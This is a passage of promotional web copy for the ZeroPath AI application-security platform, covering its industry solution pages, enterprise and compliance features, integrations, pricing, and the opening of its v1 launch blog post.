| |------------|------------------------| | **Fragmented security tools**
Multiple dashboards, no unified view of risk | **Command-center analytics**
Single pane of glass for all AppSec metrics | | **Compliance documentation burden**
Manual evidence collection for multiple frameworks | **Automated compliance mapping**
Auto-align findings to ISO 27001, SOC 2, PCI-DSS, NIST 800-53 | | **Slow remediation cycles**
Industry average 252 days to fix critical issues | **AI-powered remediation**
Reduce critical MTTR from 21 days to 3 days | | **Tool sprawl costs**
Duplicate licensing and integration overhead | **Unified platform**
Cut duplicate tooling spend by up to 40% | ## How it Works

1. Unify

Consolidate SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix into one platform

2. Analyze

AI-driven analytics surface critical trends and predict risk trajectories

3. Govern

Policy engine enforces security standards across all teams and repositories

4. Report

Executive dashboards and compliance reports generated on-demand

## Key Capabilities ### Command-Center Analytics - **Unified scoreboard** surfaces critical counts, MTTR trends, and SLA breaches - **Risk deltas** by business unit, repository, or language - **Predictive analytics** forecast vulnerability accumulation - **Executive reporting** with drill-down capabilities ### Enterprise-Grade Architecture - **Multi-tenant console** supports MSPs and holding companies - **Granular RBAC** with immutable audit logs - **Workspace isolation** for subsidiaries and business units - **Federated authentication** with SSO/SAML support ### Compliance Automation - **Framework mapping** to ISO 27001, SOC 2, PCI-DSS, NIST 800-53 - **Auditor-ready reports** generated on demand - **Evidence collection** automated across all scans - **Gap analysis** identifies control deficiencies ### Risk Management - **Business context** enrichment for accurate prioritization - **Custom risk scoring** based on your threat model - **Vulnerability aging** reports track technical debt - **SLA monitoring** ensures timely remediation --- ### Financial Services / Fintech **URL**: https://zeropath.com/solutions/fintech ## The Challenge Financial services organizations face unique security challenges: stringent regulations, high-value targets for fraud, and the need to innovate at startup speed. Traditional security tools weren't built for the complexity of modern fintech stacks or the velocity of digital transformation. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Leakage of PII**
Customer data exposure risks massive fines | **Natural language PII detection**
Custom rules deployed organization-wide in minutes | | **Stringent regulations**
PCI DSS 4.0, SOX, FFIEC, GLBA compliance burden | **Automated compliance mapping**
Map findings to exact controls, generate audit-ready reports with one click | | **High-value fraud target**
ATO attacks and payment fraud | **Business logic analysis**
Detect broken authentication and insecure money-movement flows with LLM-backed analysis | | **Velocity vs. security conflict**
Security slows down innovation | **Automated remediation**
Auto-patch PRs and Auto AppSec Mode keep pipelines green | | **Polyglot codebases**
Legacy COBOL to modern microservices | **20+ language support**
First-class SAST from COBOL-adjacent C/C++ to Kotlin, Rust, and Swift | | **Third-party risk**
Open-source vulnerabilities | **Integrated SCA**
Highlights EoL components, reachability, and transitive risk with CVSS 4.0 scoring | ## How it Works

1. Scan

LLM-driven analysis across SAST, SCA, secrets & IaC in one pass

2. Detect

Find PII leaks, auth flaws, and payment logic vulnerabilities

3. Comply

Auto-map to PCI DSS, SOX, GLBA controls with evidence collection

4. Remediate

AI-generated fixes that match your coding standards

## Key Capabilities ### Financial-Specific Detection - **PII leakage prevention** with custom natural language rules - **Payment flow analysis** for transaction security - **Authentication bypass detection** for ATO prevention - **Cryptographic validation** for key management compliance ### Regulatory Compliance - [**PCI DSS 4.0 Requirements 6.x** automated mapping](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) - **SOX 404** control evidence generation - **ISO 27001 Annex A** alignment - **FFIEC CAT** readiness assessments - **GLBA Safeguards** rule compliance ### Risk Management - **Real-time risk portraits** by org, repo, or team - **MTTR tracking** for vulnerability remediation - **High-risk payment flow** identification - **Third-party risk scoring** with CVSS 4.0 ### Enterprise Features - **Context-aware secrets detection** for API keys and credentials - **Granular access controls** for multi-subsidiary organizations - **MSP mode** for payment facilitators and vendors - **Immutable audit logs** for regulatory examinations ## Trusted by Leading Financial Institutions Financial services teams using ZeroPath achieve: - **95% reduction** in PII exposure incidents - **80% faster** PCI DSS audit preparation - **60% lower** false positive rates than traditional SAST - **3x faster** vulnerability remediation --- ### Governance, Risk & Compliance (GRC) Teams **URL**: https://zeropath.com/solutions/grc ## The Challenge GRC teams face increasing pressure to demonstrate continuous compliance across multiple frameworks while security, engineering, and compliance teams often hold different numbers. Traditional tools make control mapping opaque and audit preparation a last-minute scramble. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Opaque control mapping**
Findings rarely tie to ISO 27001, SOC 2, PCI-DSS controls | **Compliance-mapping engine**
Tags every vulnerability to exact sub-control with live evidence packs | | **Slow, siloed reporting**
Different teams have different numbers, leadership loses trust | **Single risk graph**
Unified dashboards with scheduled exports to Snowflake, Power BI, ServiceNow | | **Proof-of-fix gaps**
Auditors want immutable evidence of remediation | **End-to-end audit trail**
Scan logs, signed SBOMs, and verify-after-patch checks | | **Fragmented tooling spend**
Separate SAST, SCA, secrets platforms inflate costs | **Unified platform**
Eight security capabilities under one license, 40% cost reduction | ## How it Works

1. Map

Auto-align every finding to ISO 27001, SOC 2, PCI-DSS, NIST controls

2. Track

Real-time dashboards show control coverage and compliance gaps

3. Evidence

Automated collection with immutable logs and signed attestations

4. Export

One-click reports for auditors, scheduled syncs to GRC platforms

## Key Capabilities ### Control-Aligned Analytics - **Framework mapping** to ISO 27001 Annex A, PCI DSS 4.0, SOC 2, NIST - **Business unit views** slice risk by department, team, or repository - **One-click exports** generate auditor-ready compliance reports - **Gap analysis** identifies missing controls and coverage ### Immutable Audit Trail - **Tamper-proof ledger** with hashed, timestamped records - **Non-repudiation** for every scan, suppression, and patch - **Signed SBOMs** demonstrate supply chain due diligence - **Verify-after-patch** checks prove remediation effectiveness ### Supply Chain Compliance - **Live SBOM generation** for Executive Order 14028 - **EoL visibility** meets EU Cyber Resilience Act requirements - **Dependency tracking** with full transitive analysis - **License compliance** monitoring and reporting ### Governance Features - **Break-glass access** with full accountability logging - **Automatic expiry** for emergency overrides - **Role-based access** with granular permissions - **Multi-tenant support** for complex organizations ## Outcomes That Matter - **Massive reduction** in audit preparation time - **5-minute exports** replace month-long data collection - **Real-time SLA tracking** cuts critical MTTR from weeks to days - **Defensible metrics** build executive trust with consistent data ZeroPath turns continuous security testing into continuous compliance, giving GRC teams data they can depend on. --- ### Healthcare **URL**: https://zeropath.com/solutions/healthcare ## The Challenge Healthcare organizations face unique security challenges: protecting sensitive patient data, maintaining HIPAA compliance, and securing interconnected medical systems. A single PHI breach can cost millions in fines and destroy patient trust. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **PHI/PII data exposure**
Patient records leaked through code vulnerabilities | **Natural language PHI detection**
Custom rules find SSNs, medical record numbers, health data | | **HIPAA compliance burden**
Complex technical safeguards and audit requirements | **Automated HIPAA mapping**
Map findings to specific safeguards with audit trails | | **Legacy system vulnerabilities**
Outdated medical software with known flaws | **Polyglot language support**
Scan everything from COBOL to modern microservices | | **Third-party integration risks**
EHR, lab, and pharmacy system connections | **API security analysis**
Detect authentication flaws and data leakage in integrations | ## How it Works

1. Scan

Comprehensive analysis of healthcare applications and APIs

2. Detect

Find PHI exposure, access control issues, and encryption gaps

3. Comply

Auto-map to HIPAA technical safeguards and generate evidence

4. Remediate

AI-generated fixes that maintain healthcare data standards

## Key Capabilities ### Healthcare-Specific Detection - **PHI pattern recognition** for SSNs, MRNs, diagnosis codes - **HL7/FHIR security validation** for healthcare APIs - **Encryption verification** for data at rest and in transit - **Access control analysis** for role-based permissions ### Compliance Automation - **HIPAA technical safeguards** mapping (164.312) - **HITRUST CSF** control alignment - **Meaningful Use** security requirements - **State privacy law** compliance (CCPA, BIPA) ### Integration Security - **EHR integration** vulnerability scanning - **Medical device API** security assessment - **Third-party vendor** risk analysis - **Cloud HIPAA BAA** compliance verification ### Audit & Reporting - **Automated audit logs** for HIPAA requirements - **Risk assessment reports** for covered entities - **Business associate** security documentation - **Breach notification** readiness tracking ## Trusted by Healthcare Leaders Healthcare organizations using ZeroPath achieve: - **98% reduction** in PHI exposure vulnerabilities - **75% faster** HIPAA audit preparation - **60% lower** security remediation costs - **Zero** PHI breaches from application vulnerabilities --- ### Managed Security Service Providers (MSSP) **URL**: https://zeropath.com/solutions/mssp ## The Challenge Managed service teams juggle dozens of customer environments, each with its own policies, languages, and compliance demands. Analysts burn time hopping between tools, building custom reports, and explaining scan noise that customers don't want to pay for. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Multiple scanners**
Duplicate alerts and license costs across tools | **Unified platform**
One platform replaces four tools, cuts costs by 40% | | **Slow onboarding**
Delays the first invoice by weeks | **Rapid deployment**
Get clients scanning during first kickoff call | | **Manual reporting**
Analysts waste hours on evidence packs | **Automated reports**
Scheduled CSV/PDF exports with white-label branding | | **Proving value**
Difficulty showing measurable risk reduction | **Live dashboards**
Real-time MTTR and risk metrics demonstrate ROI | ## How it Works

1. Onboard

Spin up isolated workspaces for each client in minutes

2. Scan

Unified SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix across all repos

3. Manage

Multi-tenant console with granular RBAC and API automation

4. Report

White-label dashboards and automated compliance evidence

## Key Capabilities ### Multi-Tenant Architecture - **Workspace isolation** ensures complete data separation - **White-label portals** branded with your logo and colors - **Granular RBAC** with per-tenant API keys - **Federated billing** for usage-based pricing models ### Rapid Client Onboarding - **CLI and TypeScript SDK** for bulk imports - **Public/private repo** support across all VCS platforms - **Single-script deployment** for entire client estates - **Zero-touch scanning** starts during first call ### Automation at Scale - **Scheduled deep scans** run without analyst intervention - **Auto-patch pull requests** fix critical issues automatically - **Reachability analysis** reduces alerts by 90% - **CVSS 4.0 scoring** for accurate prioritization ### Client Value Demonstration - **Live dashboards** show real-time security posture - **MTTR tracking** proves remediation velocity - **Risk reduction metrics** demonstrate ROI - **Compliance mapping** for regulated clients ## Business Impact - **Onboard in < 1 day** - Get new clients scanning during kickoff - **75% alert reduction** - Focus only on actionable issues - **3x analyst efficiency** - Handle more clients without hiring - **Boost retention** - Transparent metrics keep clients engaged --- ### Secure AI-Generated Code **URL**: https://zeropath.com/solutions/secure-ai-generated-code ## The Challenge [One in three AI-generated pieces of code contains a vulnerability](https://socradar.io/every-1-of-3-ai-generated-code-is-vulnerable-exploring-insights-with-cyberseceval). As development teams increasingly rely on AI coding assistants, security risks are being introduced at an unprecedented rate. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **LLM assistants embed unsafe patterns**
Hard-coded secrets, unsanitized inputs, and broken authentication | **Context-aware SAST with AI models**
Pinpoints flaws and proposes fixes pulled from your code style | | **Developers over-trust the assistant**
Skip review assuming AI-generated code is secure | **Inline VCS integration**
GitHub/GitLab/Bitbucket checks gate insecure PRs and auto-open a patch MR | | **Traditional scanners drown you in false positives**
Noise makes it impossible to find real issues | **AI-powered accuracy**
Only actionable alerts reach your PR, each with a one-click fix | ## How it Works

1. Detect

AI-aware detections + deep-flow analysis scan every push in < 60s

2. Prioritize

Risk-rank by exploitability, data sensitivity & business logic

3. Fix

LLM generates a ready-to-merge patch and unit test

4. Verify

CI reruns the scan to guarantee the vulnerability is gone

## Key Capabilities ### AI-Specific Vulnerability Detection - **Prompt injection attacks** - Detect when user input can manipulate AI behavior - **Insecure output handling** - Catch unvalidated AI responses before they cause XSS or injection - **Training data poisoning** - Identify potential data corruption vectors - **Model denial-of-service** - Find resource exhaustion vulnerabilities - **Sensitive information disclosure** - Prevent AI from leaking confidential data ### Business Logic Detection ZeroPath understands cross-file and cross-repository data flow to catch: - Faulty authentication and authorization logic - Broken Object Level Access (BOLA) vulnerabilities - Complex race conditions and state management issues ### One-Click Autofix - Autogenerated patches that match your coding style - Natural language modification capabilities - Ready-to-merge pull requests with unit tests --- ### Security Research **URL**: https://zeropath.com/solutions/security-research Seasoned security researchers need tools that combine broad code-base coverage with pinpoint accuracy. Independent investigations have found that high false-positive rates in many static-analysis products discourage experts from using them, which in turn reduces real-world zero-day discovery (https://www.darkreading.com/application-security/software-assurance-thinking-back-looking-forward). ZeroPath equips red-teams with the depth that developer-centric scanners lack while still upholding the discipline required for responsible disclosure. ## Feature depth that accelerates discovery | Researcher need | ZeroPath capability | | --------------- | ------------------- | | **Detection of non-standard issues** | ZeroPath detects various types of non-traditional vulnerabilities like broken and missing authentication/authorization, logic flaws, amongst traditional issues like SQLi, XSS, XXE, etc. | | **Real, proven, public results** | We have a proven track record of finding and reporting issues using the tool; we’ve published them publicly on our wall of fame (https://zeropath.com/wall) | ## Key Capabilities ### Multi-format coverage Static analysis for source code, minified JavaScript, compiled binaries, Docker layers, and Android APKs, plus byte-code decompilation with automatic call-graph recovery. ### Automated PoC creation An LLM trained on public proof-of-concepts produces payload and PoCs, each annotated with pre-conditions, shortening the gap between identification and demonstration. ### Flexible export Native SARIF, and CycloneDX feeds integrate with CodeQL, Ghidra, and MITRE CALDERA for custom pipelines. --- ### Security Teams **URL**: https://zeropath.com/solutions/security-teams import Image from 'next/image'; ## The Challenge Apps change daily, attack techniques change hourly, and your board wants a single risk number now. Spreadsheets can't keep up, and siloed findings bury you in triage work. Security teams need real-time visibility and control at enterprise scale. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Tool sprawl and noise**
Multiple scanners create duplicate alerts | **Unified AppSec Graph**
Combines SAST, SCA, IaC, secrets in one view | | **False positive overload**
Teams waste time on non-issues | **Intelligent severity scoring**
CVSS 4.0-aligned scoring spotlights material risk | | **Limited visibility**
No unified view across teams and repos | **Multi-level analytics**
Organization, team, and repo-level dashboards | | **Slow reporting**
Manual reports take weeks to prepare | **Board-ready dashboards**
Live metrics and scheduled exports in minutes | ## How it Works

1. Unify

Consolidate all AppSec tools into a single platform

2. Analyze

AI-driven analysis with reachability and exploitability scoring

3. Prioritize

Focus on material risks using CVSS 4.0 and business context

4. Report

Executive dashboards and compliance evidence on-demand

## Key Capabilities ### Unified AppSec Platform - **Single pane of glass** for SAST, SCA, IaC, and secrets - **Cross-tool correlation** eliminates duplicate findings - **Reachability analysis** shows exploitable paths - **Dependency tracking** with full transitive analysis ### Intelligent Risk Scoring - **CVSS 4.0 alignment** for industry-standard scoring - **Business context enrichment** for accurate prioritization - **Exploitability assessment** based on real attack patterns - **Material risk focus** filters out cosmetic issues ### Enterprise Analytics - **Multi-level dashboards** from org to individual repos - **MTTR tracking** across teams and technologies - **Top vulnerability classes** by CWE categories - **Risk by language** and technology stack - **Export to SIEM** platforms (Splunk, Snowflake) ### Governance & Compliance - **Granular RBAC** for team-based access control - **MSP workspaces** for multi-business unit management - **Immutable audit logs** for compliance requirements - **SBOM generation** and API-driven attestations - **Framework alignment** for FedRAMP, SOC 2, ISO 27001 ## See It In Action
ZeroPath security team dashboard showing unified risk view and analytics
## Outcomes That Matter - **Secure at scale** - Hundreds of integrations into developer workflows - **Minutes not weeks** - Board-level reporting with live dashboards - **Unified risk view** - Single source of truth for AppSec posture --- ### Software Supply Chain Security **URL**: https://zeropath.com/solutions/supply-chain-security ## The Challenge [Sonatype's ten-year retrospective shows supply-chain attacks doubling again in 2024](https://investor.synopsys.com/news/news-details/2024/New-Synopsys-Report-Finds-74-of-Codebases-Contained-High-Risk-Open-Source-Vulnerabilities-Surging-54-Since-Last-Year/default.aspx). Conventional Software Composition Analysis tools generate mountains of unreachable CVE alerts, overwhelming security teams and delaying critical upgrades. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Alert overload**
Thousands of CVEs, most never executed | **Reachability analysis**
Only flags libraries actually invoked by your code | | **Unmaintained dependencies**
74% of projects use abandoned packages | **End-of-life detection**
Identifies packages without active maintainers | | **License compliance risk**
Manual tracking of OSS licenses | **Built-in compliance**
Automated license scanning with CycloneDX SBOMs | | **Cross-tool blind spots**
Secrets in dependencies go undetected | **Unified analysis**
Correlates secrets, IaC misconfigs, and vulnerable deps | ## How it Works

1. Discover

Map your entire dependency tree including transitive dependencies

2. Analyze

Call-graph analysis identifies which code paths are actually reachable

3. Prioritize

Focus only on exploitable vulnerabilities in your execution paths

4. Remediate

AI-suggested upgrades that won't break your application

## Key Capabilities ### Reachability-First Analysis - **Call-graph walking** to trace actual code execution - **90% alert reduction** compared to traditional SCA - **Function-level precision** for vulnerability assessment - **Cross-language support** for polyglot applications ### Supply Chain Intelligence - **End-of-life detection** for abandoned packages - **Maintainer analysis** to assess project health - **Update velocity tracking** for security responsiveness - **Fork detection** to identify unofficial versions ### Compliance & Governance - **License compatibility** checking across dependencies - **CycloneDX SBOM** generation with one click - **Export to VEX** for vulnerability exchange - **Policy enforcement** for approved package lists ### Unified Risk View - **Secrets in dependencies** detection and correlation - **IaC misconfigurations** that amplify supply chain risk - **Attack path modeling** from vulnerable dep to exploit - **Business impact scoring** based on data sensitivity --- ## Enterprise Security Suite ### Identity & Access Management - **SAML 2.0 & OAuth**: Seamless integration with Okta, Auth0, Azure AD, Google Workspace - **Team-Based Access Control**: Granular permissions aligned with organizational structure - **Break-Glass Access**: Emergency override capabilities with full audit trail - **Multi-Factor Authentication**: Enhanced security for sensitive operations ### Scale & Performance - **Massive Codebase Support**: Tested with repositories exceeding 5 million lines - **Parallel Processing**: Scan multiple repositories simultaneously - **Distributed Architecture**: Horizontally scalable for enterprise needs - **API Rate Limits**: Enterprise-grade limits available ### Compliance & Governance - **Certifications**: SOC 2 Type II, ISO 27001 (in progress) - **Compliance Frameworks**: GDPR, CCPA, HIPAA, PCI-DSS ready - **Audit Logging**: Complete activity tracking for compliance - **Data Residency**: EU and US data center options ## Integration Ecosystem ### Version Control Systems - GitHub (Cloud & Enterprise) - GitLab (Cloud & Self-hosted) - Bitbucket (Cloud & Server) - Azure DevOps ### CI/CD Platforms - Jenkins - GitHub Actions - GitLab CI - CircleCI - Travis CI - Azure Pipelines - Bitbucket Pipelines ### Developer Tools & Collaboration - VS Code Extension - IntelliJ IDEA Plugin - Slack Integration - Microsoft Teams - Jira Integration - ServiceNow - Linear ### API & Developer Resources #### RESTful API - **Documentation**: https://zeropath.com/docs - **Authentication**: API key and OAuth 2.0 - **Rate Limits**: Enterprise-grade limits - **Response Format**: JSON with comprehensive error handling #### Command Line Interface (CLI) - **Repository**: https://github.com/ZeroPathAI/zeropath-cli - **Features**: Local scanning, CI/CD integration, offline mode - **Installation**: `npm install -g @zeropath/cli` - **License**: Apache 2.0 #### SDKs & Libraries - **TypeScript/JavaScript**: https://www.npmjs.com/package/zeropath - Full TypeScript support with type definitions - Promise-based API for modern async/await patterns - Comprehensive error handling and retry logic - **Python SDK**: Coming Q2 2025 - **Go SDK**: Coming Q3 2025 #### MCP (Model Context Protocol) Server - **Repository**: https://github.com/ZeroPathAI/zeropath-mcp-server - **Purpose**: Enable AI assistants to analyze code security - **Compatible With**: Claude, GPT-4, and other LLMs - **Use Cases**: Automated security reviews, vulnerability explanations ## Technology & Innovation ### AI/ML Capabilities - **Context Understanding**: Analyzes code flow and business logic - **Continuous Learning**: Models improve with customer feedback - **Language Support**: 35+ programming languages and frameworks ### Security Research - **Open Source Contributions**: Active maintainers of security tools - **Blog**: Regular security research and vulnerability analysis ## Pricing & Plans ### Free - $0/month - 1 repository - Unlimited PR scans - 1 trial full scan - Top 10 issues only - 3 patches - Community support ### Core - $200/month - Up to 5 repositories - Unlimited PR scans - Weekly full scans - Unlimited issues - Unlimited patches - Email support - Basic integrations ### Enterprise - Custom - Unlimited repositories - Unlimited scans - SSO/SAML authentication - Dedicated support - Custom policies - Managed services - SLA guarantees - Professional services ### Custom Enterprise Solutions - Volume licensing for large organizations - Professional services and training - Dedicated customer success manager - Custom SLA and support agreements ## Platform Capabilities ### Language & Framework Support #### Programming Languages (35+) - **Mainstream**: Python, JavaScript, TypeScript, Java, C#, Go, Ruby, PHP, Kotlin, Nim, Swift - **Systems**: C, C++, Rust, Swift, Kotlin, Objective-C - **Specialized**: Scala, Perl, R, MATLAB, Shell, PowerShell - **Mobile**: Swift (iOS), Kotlin/Java (Android), React Native, Flutter #### Web Frameworks - **JavaScript**: React, Vue, Angular, Next.js, Express, Node.js - **Python**: Django, Flask, FastAPI, Pyramid - **Java**: Spring, Spring Boot, Struts, Play - **Ruby**: Rails, Sinatra, Hanami - **PHP**: Laravel, Symfony, WordPress, Drupal #### Package Managers - **JavaScript**: npm, yarn, pnpm, bower - **Python**: pip, pipenv, poetry, conda - **Java**: Maven, Gradle, Ant - **Ruby**: RubyGems, Bundler - **.NET**: NuGet, Paket - **Go**: Go Modules, dep - **Rust**: Cargo - **PHP**: Composer ### Security Coverage #### Vulnerability Categories - **OWASP Top 10**: Complete coverage with AI-enhanced detection - **CWE Top 25**: Advanced pattern recognition for dangerous weaknesses - **Business Logic**: Authentication bypasses, authorization flaws - **API Security**: REST, GraphQL, gRPC vulnerability detection - **Cloud Security**: AWS, Azure, GCP misconfigurations - **Mobile Security**: iOS/Android specific vulnerabilities #### Compliance Standards - **Industry**: PCI-DSS, HIPAA, SOC 2, ISO 27001 - **Regional**: GDPR (EU), CCPA (California), LGPD (Brazil) - **Government**: FedRAMP, NIST 800-53, FISMA - **Financial**: SWIFT CSP, PSD2, Basel III ## Recent Blog Posts & Research *Note: Showing the most recent 50 blog posts with full content. For a complete list, visit https://zeropath.com/blog* ### Product (4 most recent of 4 total) #### Introducing ZeroPath: The Security Platform That Actually Understands Your Code - **Date**: August 12, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 12 minutes - **Keywords**: ZeroPath, Application Security, SAST, AI Security, Code Scanning, Vulnerability Detection, AST Analysis, DevSecOps, Security Automation - **URL**: https://zeropath.com/blog/introducing-zeropath-v1 Announcing the official v1 launch of ZeroPath, an AI-powered application security platform trusted by 750+ companies and performing 125,000+ code scans monthly. Learn how ZeroPath combines LLMs with AST analysis to deliver contextual vulnerability detection and one-click patch generation. --- # Introducing ZeroPath: The Security Platform That Actually Understands Your Code Today, we're thrilled to announce the official v1 launch of ZeroPath, an AI-powered application security platform that fundamentally changes how development teams approach code security. Already trusted by **750+ companies** and performing **125,000+ code scans monthly**, ZeroPath is proving that security tooling can be both powerful and practical. ## Why We Built ZeroPath Every security engineer knows the pain: traditional SAST tools flood you with false positives, miss critical business logic flaws, and leave you manually writing patches for hours. We've lived this frustration firsthand through years of security research and engineering. That's why we built ZeroPath. It's a security platform that combines the power of Large Language Models with battle-tested security analysis to deliver something unprecedented: a tool that truly understands your code's context and automatically generates accurate fixes. ## ZeroPath By the Numbers - **750+** companies secured - **125,000+** code scans monthly - **<60 seconds** PR scan time - **18** supported languages and frameworks - **Zero-days** found on repos owned and maintained by Netflix, Hulu, and Salesforce ## Real-World Impact Before we dive into features, let's talk results. ZeroPath is already trusted by **750+ companies** and performs **125,000+ code scans monthly**. We've discovered critical zero-day vulnerabilities in production codebases at Netflix, Hulu, and Salesforce. These weren't simple SQL injections. They were complex security issues that required deep contextual understanding of the applications. ## Trusted Across Industries ZeroPath secures mission-critical applications across highly regulated industries: - **Fintech & Finance**: Protecting financial transactions and sensitive customer data - **Healthcare & HealthTech**: Ensuring HIPAA compliance and patient data security - **Cryptocurrency**: Securing smart contracts and blockchain applications - **Service & Food Industry**: Safeguarding customer information and payment systems Each industry brings unique security challenges, and ZeroPath's contextual understanding adapts to domain-specific requirements and compliance needs. ## What Makes ZeroPath Different ### 1. **Contextual Intelligence** Unlike traditional SAST tools that rely on pattern matching, ZeroPath uses LLMs combined with Abstract Syntax Tree (AST) analysis to understand your entire codebase context. This means: - Dramatically reduced false positives through structural code understanding - Detection of complex vulnerabilities that traditional tools miss: - **Business logic flaws** that require understanding application flow - **Authentication and authorization bypasses** (AuthN/AuthZ) - **Modern threats** like prompt injection in LLM-integrated applications - Intelligent severity scoring using CVSS 4.0 based on actual exploitability The AST-based analysis allows ZeroPath to understand code relationships, data flows, and architectural patterns that simple pattern matching could never catch. ZeroPath continuously updates its detection capabilities as new vulnerability classes emerge. When prompt injection became a concern, ZeroPath users were already protected. You never have to worry about keeping up with the latest security threats. **Real Example**: Traditional tools might flag every database query as potentially vulnerable to SQL injection. ZeroPath understands when queries are properly parameterized, when input validation is sufficient, and when the data flow makes exploitation impossible. This context-aware approach reduces false positives by over 75% compared to pattern-based tools. ### 2. **One-Click Patch Generation** Stop wasting developer hours writing security patches. ZeroPath generates precise, contextually-aware fixes that you can apply with a single click. Before any patch is suggested, ZeroPath validates that it will fix the vulnerability without breaking existing functionality or altering intended application behavior. Need modifications? Use natural language to adjust patches to your coding standards. **Example**: "Make this patch follow our team's error handling pattern" or "Add logging to this security fix" ### 3. **SAST Tool Consolidation & Auto-Fix** Already invested in traditional SAST tools? ZeroPath transforms them from noise generators into actionable security solutions. We centralize results from your existing SAST tools and run them through our advanced validation and patching pipeline: **Supported SAST Tools:** - **Semgrep** - **Snyk** - **Checkmarx** - **SonarQube** - **Veracode** - **Fortify** - **Synopsys** **How It Works:** 1. **Import findings** from any supported SAST tool 2. **Intelligent validation** using our AST and LLM analysis to eliminate false positives 3. **Automatic patch generation** for validated vulnerabilities 4. **One-click fixes** that respect your codebase context and standards This means you can keep your existing security investments while dramatically improving their effectiveness. Turn thousands of unactionable findings into a manageable list of real issues with ready-to-apply fixes. ### 4. **Lightning-Fast PR Scanning** With PR scan times under 60 seconds, ZeroPath integrates seamlessly into your CI/CD pipeline without slowing down development. Every pull request is automatically scanned before merge, with patches generated for any issues found. Full repository scans comprehensively analyze your entire codebase to build complete context and catch cross-file vulnerabilities. ### 5. **1-Minute Setup, Immediate Value** Large enterprises often spend weeks integrating security tools. With ZeroPath: - Connect your VCS in one click - Configure team permissions - Start scanning immediately - See your first results in under 60 seconds No complex agents to install, no infrastructure to provision. Just instant security insights. ### 6. **Comprehensive Security Coverage** ZeroPath is truly all-in-one: - **Advanced SAST**: Beyond SQL injection and XSS, we detect: - Business logic vulnerabilities - Authentication and authorization flaws - Prompt injection and LLM security issues - SSRF, XXE, and other complex attack vectors - **SCA**: Dependency scanning with integrated reachability analysis and EoL detection - **Secrets Detection**: Find exposed API keys and credentials - **IaC Security**: Secure your infrastructure-as-code - **SBOM Generation**: Export complete software bills of materials - **External SAST Integration**: Validate and auto-fix findings from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys ### 7. **Keeping Pace with Modern AppSec** As applications evolve, so do attack vectors. ZeroPath is built to adapt: - **AI/LLM Security**: First-class support for detecting prompt injection and other AI-specific vulnerabilities - **API Security**: Deep analysis of REST, GraphQL, and gRPC endpoints - **Cloud-Native**: Understanding of serverless, containers, and microservices patterns - **Supply Chain**: Comprehensive dependency analysis with reachability ### 8. **Intelligent False Positive Reduction** - **False Positive Feedback**: Mark findings as false positives with a reason, and ZeroPath uses this feedback to filter similar false positives in future scans, reducing noise over time and ensuring your team focuses on real security issues. ## Key Features in v1 ### Developer Experience - **Sub-60 second PR scans** that don't block your workflow - **Comprehensive full repository scans** for complete security analysis - **Natural language rules** to define custom security policies - Example: "Flag any API endpoint that doesn't check user permissions" - Example: "Alert on database queries constructed from user input" - **Vulnerability Q&A**: chat with our AI about any finding to understand remediation and exploitation - **Source-to-sink visibility** showing complete vulnerability paths - **Automatic issue attribution**: vulnerabilities are assigned to the developer who introduced them - **Scan cancellation**: stop long-running scans when needed - **Detailed scan logs**: full visibility into what ZeroPath analyzed - **Source type selection**: Focus scans on specific input sources (CLI, file, socket, WebSocket, HTTP, browser, stdin, and more) - **[CLI tool](https://github.com/ZeroPathAI/zeropath-cli)**: Available for CI/CD integration, local use, and automation workflows ### Enterprise Ready - **Multi-VCS support**: GitHub, GitLab, Bitbucket, and Azure Pipelines - **Enterprise SSO** for seamless authentication - **Team-based ACLs** with granular permissions - **MSP support** for managing multiple organizations - **Audit logs** and compliance reporting - **Break-glass access** to bypass failing PR scan checks when needed - **Custom formatting** for PR titles, descriptions, branch names, and commit messages - **Repository tags from GitHub**: Automatically retrieves and uses GitHub repository topics/tags for policy administration and contextual scanning at scale - **1-minute integration** for organizations of any size ### Flexible Scanning Options - **Repository scanning**: public and private repos across any git platform - **Directory uploads**: scan code without VCS integration - **Scheduled scans**: continuous monitoring on your schedule - **Repository whitelisting/blacklisting**: focus on what matters - **Permissiveness levels**: adjust for security research or penetration testing ### Integrations That Matter - **Jira & Linear** for seamless issue tracking with automatic assignment - **Slack & Email** notifications with smart developer attribution - **Existing SAST tools**: Centralize and enhance results from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys with validation and auto-patching - **Fully documented API** [with TypeScript SDK](https://zeropath.com/docs/api-reference/organizations/list-organizations) - **[CLI tool](https://github.com/ZeroPathAI/zeropath-cli)** for automation and CI/CD workflows ### Intelligent Automation - **Auto AppSec Mode**: Schedule scans and automatically create PRs for high-severity issues - **Smart Attribution**: Automatically assign issues to the developer who introduced them via git history - **Natural language patch modification**: Customize fixes to match your standards - **Monorepo intelligence**: Automatically detect multiple applications in complex repositories - **Custom PR formatting**: Configure PR titles, descriptions, branch names, and commit messages to match your team's conventions - **SAST findings auto-fix**: Automatically generate and apply patches for validated findings from external SAST tools ### Advanced Analytics & Reporting Generate repository, organization, or team-level insights including: - Mean time to remediation - Most common vulnerability patterns by team, language, and framework - Developer security metrics - Vulnerability trends over time - CWE mapping for compliance requirements - Custom reports for stakeholders - Comparison reports showing improvements from SAST tool validation ### Codebase Intelligence & Inventory ZeroPath doesn't just scan your code. It understands your entire technology landscape: - **Automatic tech stack discovery**: Maps out frameworks, libraries, and technologies in use - **Authentication/authorization mapping**: Identifies how each application handles authN/authZ - **Application structure analysis**: Understands file paths, naming conventions, and architectural patterns - **Organization-wide inventory**: Maintains a searchable database of all your applications and their characteristics - **GitHub repository tags integration**: Leverages repository topics/tags for automated policy application, enabling you to define security rules by project type (e.g., "production", 